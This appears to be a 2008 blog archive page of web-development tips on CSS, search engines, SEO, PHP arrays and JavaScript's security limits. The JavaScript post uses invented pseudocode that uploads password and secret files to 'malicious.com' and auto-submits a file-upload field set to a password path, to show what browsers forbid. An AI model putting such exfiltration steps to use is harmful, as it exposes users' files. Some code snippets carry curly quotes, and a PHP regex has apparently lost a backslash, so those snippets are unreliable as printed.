Posts Tagged ‘Elements’

Web Designing-Take advantage of the cascade

Wednesday, July 16th, 2008

The cascade lets you use multiple rules to specify the properties for an element. You can either redefine the same property or define additional properties. Let’s say you have the following markup:

1. <p class=”update”>Update: Lorem ipsum dolor set</p>

In the CSS, you can use separate rules to specify the properties that are common to all p elements and those that are specific to p elements with class=”update”:

1. p {
2. margin:1em 0;
3. font-size:1em;
4. color:#333;
5. }
6. .update {
7. font-weight:bold;
8. color:#600;
9. }

The two rules will be combined for p elements with class=”update”. Since a class selector is more specific than a type selector, the properties defined in the second rule will be used when a conflict occurs, as for color in this case.

More info on how the specificity of CSS rules is calculated can be found in Calculating a selector’s specificity in the CSS 2.1 specification.

Web Designing-Default values

Wednesday, July 16th, 2008

You can often eliminate the need to specify a value for a property by taking advantage of that property’s default value. This is especially important to consider when you use shorthand properties, since any unset properties are assigned the default values of the corresponding individual property.

Some common default values are 0 for padding (though there are exceptions to this), and transparent for background-color.

Since there are slight differences in the default values between browsers, some people like doing a Global white space reset by zeroing both margin and padding for all elements at the top of their stylesheets:

1. * {
2. margin:0;
3. padding:0;
4. }

Javascript-Security

Wednesday, July 16th, 2008

Client–side JavaScript has expressly been developed for use in a web browser in conjunction with HTML pages. This has certain consequences for security.

First of all, please note carefully what happens when a user visits a JavaScript–enhanced web site:
The user asks for a certain HTML page without knowing whether it contains JavaScript. The HTML page is delivered to the browser, including the scripts. The scripts usually run automatically when the page loads or when the user takes a certain action. In general the user can’t do anything to stop the scripts (well, he could turn off JavaScript, but few end users know how to do this, or that it can be done, or that JavaScript exists).

So basically an innocent end user downloads a random program and allows it to be executed on his machine. Therefore there should be strict rules as to what this program can and cannot do.

1. JavaScript cannot read files from or write them to the file system on the computer. This would be a clear security hazard

filesystem.read(’/my/password/file’);
filesystem.write(’horridvirus.exe’);

2. JavaScript cannot execute any other programs. This would also be unacceptable

execute(’horridvirus.exe’)

3. JavaScript cannot establish any connection to whatever computer, except to download a new HTML page or to send mail. This, too, would create unacceptable hazards:

var security_hazard = connection.open(’malicious.com’);
security_hazard.upload(filesystem.read(’/my/password/file’));
security_hazard.upload(filesystem.read(’/ultra_secret/loans.xls’));

Thus JavaScript simply cannot do such dangerous things. Unfortunately Microsoft has seen fit to add some filesystem commands nonetheless, in combination with its ActiveX technology. This means that Explorer on Windows is structurally less safe than any other browser. It has some built–in protection, but hackers regularly find weaknesses. The first JavaScript virus I heard of works in such a way.

So JavaScript only works on things that are in HTML pages or part of the browser. You cannot influence anything that’s not contained by the browser. But even within the browser there are some no–go areas. Basically JavaScript wants to protect the privacy of the user by disallowing some actions and asking permission for others:

1. You cannot read out the history of the browser. Thus a malicious site owner cannot write a script that finds out where you surfed to recently.
You can go back or forward in the browsing history, but you cannot find out which page you’ll go to.
2. You cannot do anything in pages that come from another server. So if your frameset contains two pages from two servers, they cannot communicate with each other. Thus a malicious site owner cannot find out which sites you’ve opened in other browser windows. See the frame busting page for some more information.
3. You cannot set the value of a file upload field (<input type=”file”>).

document.forms[0].upload_field.value = ‘/my/password/file’;
document.forms[0].submit();

4. If you try to close a browser window that has not been opened by JavaScript, the user is asked to confirm this action.
However, this rule isn’t implemented in all browsers and is easy to work around in Explorer.
5. If you try to submit a form to a mail address by JavaScript, the user is asked to confirm this action.
6. You should not be able to open a new window smaller than 100×100 pixels and/or to position it outside the screen area of the computer. Thus a malicious site owner cannot spawn an invisible window.
Note that Explorer on Windows (and maybe other browsers, too) does allow this, contrary to safety regulations.

Thus JavaScript is a scripting language for influencing HTML elements, like forms, images, layers, paragraphs and such, and for influencing a few non–HTML objects like the browser window. Nothing more, but (most importantly) nothing less.

Search Engine Elements

Tuesday, July 15th, 2008

The three major elements of a search engines are: the spider, also called the crawler; the index or catalog; and the search engine which displays the results of your query in your browser.

The spider visits your web page, indexes it, and then follows links to other pages within the site. This is sometimes referred to as being “spidered” or “crawled.” The spider returns to the site every so often looking for changes.

The index is a giant database that contains a copy of every web page that the spider finds. When a web page is changed, then this database is updated with the new information.

Sometimes it takes a while for pages or changes to be added to the index. Therefore, a web page may have been “spidered” but not yet “indexed.” Until it is added to the index, it is not available to searches by the search engine.

Search engine software sifts through the millions of pages recorded in the index to find matches to a query and ranks them in the order of what it believes is most relevant. Different search engines often produce very different results.

Search Engines vs Directories

Tuesday, July 15th, 2008

Search engines, such as Google, create their listings automatically. Search engines crawl through the web. Search engines eventually find your site and index the pages they find. Page titles, body text (ie, great content), META tags and other elements all play a role in what gets indexed. People then review the results of what was found by the search engine, based on keywords they type into the search engine.

A directory such as Yahoo! Directory depends on human editors to create its listings. You submit a description of your site to the directory for editors to review. A good site, with good content, will be more likely to get reviewed than a poor site. A search of a directory looks for matches only in that directory’s index.

Yahoo! also has a search engine that includes spidered websites along with their directory listings and “Sponsor Results” which are pay per click ads, similar to Google’s Adwords. Originally Yahoo! displayed only listings from their directory. Then in 2002 they added search engine listings from Google. In 2004 they started using their own search engine based on AltaVista’s technology. A few years later they acquired Overture (formerly GoTo) which was the first pay per click program.

Seo-Place your keywords

Tuesday, July 15th, 2008

The most important elements to insert keywords into are the URL (domain name + path + filename) and title of your web page. Also, a low-level URL (www.mysite.com/page.htm) is considered more important than a higher level URL (www.mysite.com/subdir/anothersubdir/page.htm). Check out the Dutch website Nu.nl for a good example. Notice how every newsitem has it’s own title in the titlebar and how every item’s html file is named after its title. These tricks make you score!

It’s also important to use your keywords in the body of your site, frequency (a lot) and proximity (close to each other) are important. The higher in a page, the more important a keyword is considered to be. Text in headline (h1 or h2), bold or caps is considered more important than regular text.

Syntax Search Tricks

Tuesday, July 15th, 2008

Using a special syntax is a way to tell Google that you want to restrict your searches to certain elements or characteristics of Web pages. Google has a fairly complete list of its syntax elements at www.google.com/help/operators.html. Here are some advanced operators that can help narrow down your search results.

Intitle: at the beginning of a query word or phrase (intitle:”Three Blind Mice”) restricts your search results to just the titles of Web pages.

Intext: does the opposite of intitle:, searching only the body text, ignoring titles, links, and so forth. Intext: is perfect when what you’re searching for might commonly appear in URLs. If you’re looking for the term HTML, for example, and you don’t want to get results such as www.mysite.com/index.html, you can enter intext:html.

Link: lets you see which pages are linking to your Web page or to another page you’re interested in.

Try using site: (which restricts results to top-level domains) with intitle: to find certain types of pages. For example, get scholarly pages about Mark Twain by searching for intitle:”Mark Twain”site:edu. Experiment with mixing various elements; you’ll develop several strategies for finding the stuff you want more effectively. The site: command is very helpful as an alternative to the mediocre search engines built into many sites.

Remove empty strings/elements from a PHP array

Monday, June 30th, 2008

<?php
$data = array(
‘  ‘,
‘test’,
123,
);
// filtering non-empty elements.
$data = preg_grep(’#S#’, array_map(’trim’, $data));
var_dump($data);
/* Result
array(2) {
[1]=>
string(4) “test”
[2]=>
string(3) “123″
}
*/
?>

Creating a PHP arrays in a HTML form

Saturday, June 28th, 2008

To get your FORM result sent as an array to your PHP script you name the INPUT, SELECT, TEXTAREA elements like this:
<input name=”MyArray[]“>
<input name=”MyArray[]“>
<input name=”MyArray[]“>
<input name=”MyArray[]“>

If you do not specify the keys, the array gets filled in the order the elements appear in the form. Above example will contain keys 0, 1, 2 and 3. Notice the square brackets after the variable name, that’s what makes it an array. You can group the elements into different arrays by assigning the same name to c elements:
<input name=”MyArray[]“>
<input name=”MyArray[]“>
<input name=”MyOtherArray[]“>
<input name=”MyOtherArray[]“>
This produces two arrays, MyArray and MyOtherArray, that gets sent to the PHP script. It’s also possible to assign specific keys to your arrays:
<input name=”AnotherArray[]“>
<input name=”AnotherArray[]“>
<input name=”AnotherArray[email]“>
<input name=”AnotherArray[phone]“>
The AnotherArray array will now contain the keys 0, 1, email and phone.

Firefox:Full Zoom

Friday, June 27th, 2008

Visit your favorite news page and read the caption under the picture—or view the picture itself in a size you can see. An elegant new zoom feature lets you swoop in and see entire web pages. They scale in the way you’d expect them to, with all the elements of a page’s layout expanding equally, so you can zero in on what matters.